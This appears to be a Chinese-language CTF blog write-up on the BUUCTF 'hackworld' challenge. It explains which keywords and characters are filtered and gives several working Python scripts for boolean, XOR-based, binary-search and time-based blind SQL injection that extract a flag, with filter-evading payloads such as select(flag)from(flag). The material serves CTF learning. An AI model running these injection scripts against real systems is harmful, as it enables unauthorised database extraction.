脚本学习（1）

hackworld(盲注，这里可以使用时间，布尔)

根据一波手动测试，知道过滤了&,||,and,or,for,空格，等等； 测试的时候，除了被检验出来的注入，还存在Error Occured When Fetch Result. 和 Hello, glzjin wants a girlfriend. 两种页面，（其实还有一种直接bool(false) 的页面） 所以尝试布尔注入： -1=(23<231)

-1=(23>231)

的确存在布尔报错，好，上脚本： 自己写的极慢的垃圾脚本：

import requests import re s='' url="http://040e26d3-7560-45ab-9050-a5feb7312017.node3.buuoj.cn/index.php" for n in range(1,16): for m in range(31,127,1):#31 127 id="-1=(if((ascii(substr((select(flag)from(flag)),%d,1))=%d),0,1))"%(n,m) r=requests.session() m1=r.get(url) if m1: exp={"id":id} f=r.post(url,data=exp) content=f.text #print content #print m if "Hello, glzjin wants a girlfriend." in content: print chr(m) s+=chr(m) else: print "no" print "flag is:"+s

异或：

import requests import re s='' url="http://d2ad4c33-80b3-44c6-9dfb-2662d250a5fe.node3.buuoj.cn/index.php" for n in range(1,16): for m in range(31,127,1):#31 127 id="1^(if((ascii(substr((select(flag)from(flag)),%d,1))=%d),0,1))"%(n,m) r=requests.session() m1=r.get(url) if m1: exp={"id":id} f=r.post(url,data=exp) content=f.text #print content #print m if "Hello, glzjin wants a girlfriend." in content: print chr(m) s+=chr(m) else: print "no" print "flag is:"+s

放个大佬的二分查找脚本：

#!/usr/bin/python #-*-coding:utf-8 -*- import requests import re def flag_get(start,f,url): #确定start位的字符 a='1^(if((ascii(substr((select(flag)from(flag)),'+str(start)+',1))='+str(f)+'),0,1))' data = {'id': a } url = 'http://d2ad4c33-80b3-44c6-9dfb-2662d250a5fe.node3.buuoj.cn/index.php' r= requests.post(url, data) s=r.text #print(s) if 'Hello' in s: return 1 else: return 0 def flag_find(start,f,url): #确定 a='1^(if((ascii(substr((select(flag)from(flag)),'+str(start)+',1))>'+str(f)+'),0,1))' data = {'id': a } url = 'http://d2ad4c33-80b3-44c6-9dfb-2662d250a5fe.node3.buuoj.cn/index.php' r= requests.post(url, data) s=r.text #print(s) if 'Hello' in s: return 1 else: return 0 if __name__ == '__main__': url = 'http://d2ad4c33-80b3-44c6-9dfb-2662d250a5fe.node3.buuoj.cn/index.php' flag_kouhao=125 flag='' num=1 #从第num位开始爆破 while 1: start=32 #ascii的起始范围（10进制） last=126 #ascii的终止范围（10进制） mid=int((start+last)/2) while 1: if(flag_get(num,flag_kouhao,url)): flag=flag+'}' print('flag is :'+flag) exit(1) print('strat is '+str(start)) print(' mid is '+str(mid)) print('last is '+str(last)) print('****************************************') if(flag_find(num,mid,url)): start=mid mid=int((start+last)/2) if ((last-start)<5): break else: last=mid mid=int((start+last)/2) if ((last-start)<5): break print(start) print(last) print('****************************************') for i in range(start,last+1): print(i) if(flag_get(num,i,url)): f=chr(i) flag=flag+f print('****************************************') print(' num is '+str(num)) print('char is '+f) print('flag is '+flag) print('****************************************') break num=num+1 print(flag)

时间盲注：

大佬脚本：

import requests def six_six_six(url): flag = '' while True: for i in 'abcdefghijklmnopqrstuvwxyz0123456789{}_-': data = {'id':"sleep((select(flag)from(flag)where(flag)like('f%'))like('{i}%'))".format(i=flag+i)} print(data) try: requests.post(url=url,data=data,timeout=1) except: flag=flag+i print('[*]%s'%flag) break if i=='}': break print('[+]%s'%flag) url = 'http://040e26d3-7560-45ab-9050-a5feb7312017.node3.buuoj.cn/index.php' six_six_six(url)